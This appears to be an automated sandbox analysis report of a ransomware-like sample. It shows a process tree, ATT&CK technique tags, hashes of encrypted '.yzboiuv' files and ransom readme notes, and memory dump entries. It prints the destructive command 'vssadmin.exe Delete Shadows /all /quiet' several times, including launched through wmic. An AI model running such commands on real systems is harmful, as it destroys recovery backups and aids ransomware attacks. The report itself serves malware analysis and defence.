- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2404

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:564
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2148
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2388

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1436
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2176
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2420

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2264
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2412

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2640

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2704

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2712

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2780

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2788

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2820

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Desktop\CompressPush.vbs.yzboiuv

MD5
32cb304fe92a64c37b0019a2f22b1aa0

SHA1
ce79e147b4a2f94463787a4dde92e76f176c3268

SHA256
582c907d59f559db8ec36a9b2fe535c003d0b371aa135c06274f5660f0aed5ac

SHA512
c0278f938fa82837734a016a9a7570fce0b1e339f50b54df3e067aca5b7b495b9ff083a6f80dfe376eaa120b2bb860384d0a7049cfb242c5bd9ceb88c78d4fce

Download Submit
C:\Users\Admin\Desktop\CopyMerge.vstm.yzboiuv

MD5
b1f92bdc1451fb9a96fee52d23c85f49

SHA1
e69393134065aee57c51540de2f32d93e4e3bf17

SHA256
10868d22da22b18a38d5508c40b38ad13f461a79c8f6d2f6edd3e0fbfee7a711

SHA512
550414ef4e1ea14985a68a2f30fc35f67b048ec847ce8781d934dbb0a16e150558333bcd39b4ac44529ae53e404e9094669cc0cf74a91910027ece851952399d

Download Submit
C:\Users\Admin\Desktop\DenyEnter.dwg.yzboiuv

MD5
2ca06dcc5a201c55e6d27a30c65eb6db

SHA1
86035f95bf357c1bb67dafc69b46db9a46b390ef

SHA256
9f3385ee2154f7c22737eb3efff3236c5f675a4e4ecc26b378df46b5995f6970

SHA512
02b82c6abcf43627f9497e24efc4aa81c36ef0d4ad09b216afaed812d8354b213b93bc5268d1e3bff25df7b9fed7760759971b2c1cc6f0e4970fc7612965a76b

Download Submit
C:\Users\Admin\Desktop\GroupUnregister.xls.yzboiuv

MD5
22c47004fe7f2e7037fd1fc674d26375

SHA1
558f43cb8efda7b2be2735ff1dc21071e091664b

SHA256
4d0f3a5841fc6a125618cfb83ac204805c209edd3f54df09c7fbd2ad6a7280dc

SHA512
976e21eecdcb6c47559679da68bb58ccdfc6381f44e402b207793b734a28a3ba5655b7be8d020ab1359a05822185f6cc511c2801c0e7f7502fb52b477b7f0340

Download Submit
C:\Users\Admin\Desktop\RequestOptimize.avi.yzboiuv

MD5
2e9dd041be2d8deead65c14e8e413ff4

SHA1
6c61a0e10d55832067530f86d8399d0bacc7992b

SHA256
cec835a510f36cefb53203da0ad0d10c0c5ab37205df23a2f51020d4c6d8399c

SHA512
666c99cfb8a694172317237429b151cd1e3fafad9cff1be1eaeb84f5e3de97e792425ad04799e191446596e244aad0aa3cebce269f188ef7535befe2f31f8753

Download Submit
C:\Users\Admin\Desktop\SetUpdate.mpg.yzboiuv

MD5
2302521ccd047c2bc49efdddebd566e5

SHA1
1440689d819eca25aa4a9282b2de63542b2bd1d3

SHA256
c1e81e945a917510af6c30f426df1c81c02bc95841a699e1a2d73491ea003cc5

SHA512
4acea2a687494dd67ccaa8c1fbe8e7c52f70a0d7f061c015c5f39cc5515777291af89ca7cb779d2818d40a0ee009ae2e8ccda249c56b70369b7d62f81e5fae16

Download Submit
C:\Users\Admin\Desktop\SplitDebug.png.yzboiuv

MD5
a354cd4dbe79903fc1eb7b7ce6b80549

SHA1
eb2f45a60110723d557972b3ea96437df1400188

SHA256
2f3d7dfb862f477b0d413a953b032dbc12c1bfc078baa3866f0208be978a9b34

SHA512
7423af3bd45a8e2b238d791bb86b57155c12414d1748a51f7c1ac00050eb7a8317e03749f628f75ef06c04fca723a938245ad82e93cd29d73460aef5e0ca8ba4

Download Submit
C:\Users\Admin\Desktop\StepDisable.xlsx.yzboiuv

MD5
fc83d891bf1aca0e322972f7d9d3fbdd

SHA1
51e35169f3ae7dd850221f83ce762786f2ea951a

SHA256
e1b459d4aa0447b1b95bc2112b6f40c431f0c12ccd8014c89627bb88d7c44d5b

SHA512
0402e7b92ab35e45615081d80fef6a25bc973982787a71971ed27f05bae5e13412ba773668f6d9d3f3cf93cad3a7153100678b64758a5f90128e234e01552d85

Download Submit
C:\Users\Admin\Desktop\StepSelect.avi.yzboiuv

MD5
5b19e060e1c38cd7bf932fd8c13b061b

SHA1
2fc803bd730376745c7fa76d1fd8a56cae1cd596

SHA256
95c783c349f70e5f32a54726c8a072a6221eac8777281e65f0618b80b8c495b6

SHA512
a4e2c06266a870ece381474ebbc4bcd8b23c06669ac161e7138f68352636f40a2839f2f9503760a1a2894dcde490703cc35f8abefc2528537a55546dd2ec309c

Download Submit
C:\Users\Admin\Desktop\UnpublishStep.mpg.yzboiuv

MD5
2bcb968aa9cbe8f152a8aa3ad7aa9446

SHA1
f1da617262c58472f27ddba3ea66312d78e5665b

SHA256
78050ab17de2cd14555632e540d89c2c96549ed9019c08c4bf3de10a2d875285

SHA512
08b94ae9ed52a506222de994cc222cc143de115ef44f31d2ded2c62f5c5c99b6a4904ae8cb068c340c50500c460ede17579e67e2a2cde1d1a4db59d8b4dff7ae

Download Submit
C:\Users\Admin\Desktop\readme.txt

MD5
fa7ced63f4598014778a777e461de992

SHA1
ba56db1671f03677582673c30238ce23bca40b33

SHA256
c29c10d3b7fac035a5e730f406ed2c231d948839835d2f573a7780ac72aeec1c

SHA512
c74c27aedab0ecdc7d6f5f7d0510b5bbbe6e8b34f411f421e6afb16e57529d4365e76116e94845dffe43fc2eb14d8bec7a5a8c3cb6fd6ea7082c229057f8671b

Download Submit
C:\Users\Public\readme.txt

MD5
fa7ced63f4598014778a777e461de992

SHA1
ba56db1671f03677582673c30238ce23bca40b33

SHA256
c29c10d3b7fac035a5e730f406ed2c231d948839835d2f573a7780ac72aeec1c

SHA512
c74c27aedab0ecdc7d6f5f7d0510b5bbbe6e8b34f411f421e6afb16e57529d4365e76116e94845dffe43fc2eb14d8bec7a5a8c3cb6fd6ea7082c229057f8671b

Download Submit
memory/532-81-0x0000000000000000-mapping.dmp

Download
memory/780-99-0x0000000000000000-mapping.dmp

Download
memory/900-80-0x0000000000000000-mapping.dmp

Download
memory/912-95-0x0000000000000000-mapping.dmp

Download
memory/920-96-0x0000000000000000-mapping.dmp

Download
memory/972-98-0x0000000000000000-mapping.dmp

Download
memory/1056-94-0x0000000000000000-mapping.dmp

Download
memory/1096-72-0x0000000000150000-0x0000000000154000-memory.dmp

Filesize
16KB

Download
memory/1128-73-0x0000000000000000-mapping.dmp

Download
memory/1128-74-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmp

Filesize
8KB

Download
memory/1156-79-0x0000000000000000-mapping.dmp

Download
memory/1328-77-0x0000000000000000-mapping.dmp

Download
memory/1456-63-0x0000000001D10000-0x0000000001D11000-memory.dmp

Filesize
4KB

Download
memory/1456-62-0x00000000000F0000-0x00000000000F1000-memory.dmp

Filesize
4KB

Download
memory/1456-68-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

Filesize
4KB

Download
memory/1456-69-0x0000000001CC0000-0x0000000001CC1000-memory.dmp

Filesize
4KB

Download
memory/1456-70-0x0000000001CF0000-0x0000000001CF1000-memory.dmp

Filesize
4KB

Download
memory/1456-111-0x0000000002050000-0x0000000002051000-memory.dmp

Filesize
4KB

Download
memory/1456-71-0x0000000001D00000-0x0000000001D01000-memory.dmp

Filesize
4KB

Download
memory/1456-64-0x0000000001D20000-0x0000000001D21000-memory.dmp

Filesize
4KB

Download
memory/1456-67-0x0000000001CA0000-0x0000000001CA1000-memory.dmp

Filesize
4KB

Download
memory/1456-66-0x0000000000110000-0x0000000000111000-memory.dmp

Filesize
4KB

Download
memory/1456-65-0x0000000000100000-0x0000000000101000-memory.dmp

Filesize
4KB

Download
memory/1456-60-0x0000000000020000-0x0000000000025000-memory.dmp

Filesize
20KB

Download
memory/1456-61-0x00000000000E0000-0x00000000000E1000-memory.dmp

Filesize
4KB

Download
memory/1788-76-0x0000000000000000-mapping.dmp

Download
memory/1960-93-0x0000000000000000-mapping.dmp

Download
memory/2040-97-0x0000000000000000-mapping.dmp

Download
memory/2108-100-0x0000000000000000-mapping.dmp

Download
memory/2132-101-0x0000000000000000-mapping.dmp

Download
memory/2148-102-0x0000000000000000-mapping.dmp

Download
memory/2176-104-0x0000000000000000-mapping.dmp

Download
memory/2220-108-0x0000000000000000-mapping.dmp

Download
memory/2264-109-0x0000000000000000-mapping.dmp

Download
memory/2388-115-0x0000000000000000-mapping.dmp

Download
memory/2396-114-0x0000000000000000-mapping.dmp

Download
memory/2404-112-0x0000000000000000-mapping.dmp

Download
memory/2412-116-0x0000000000000000-mapping.dmp

Download
memory/2420-113-0x0000000000000000-mapping.dmp

Download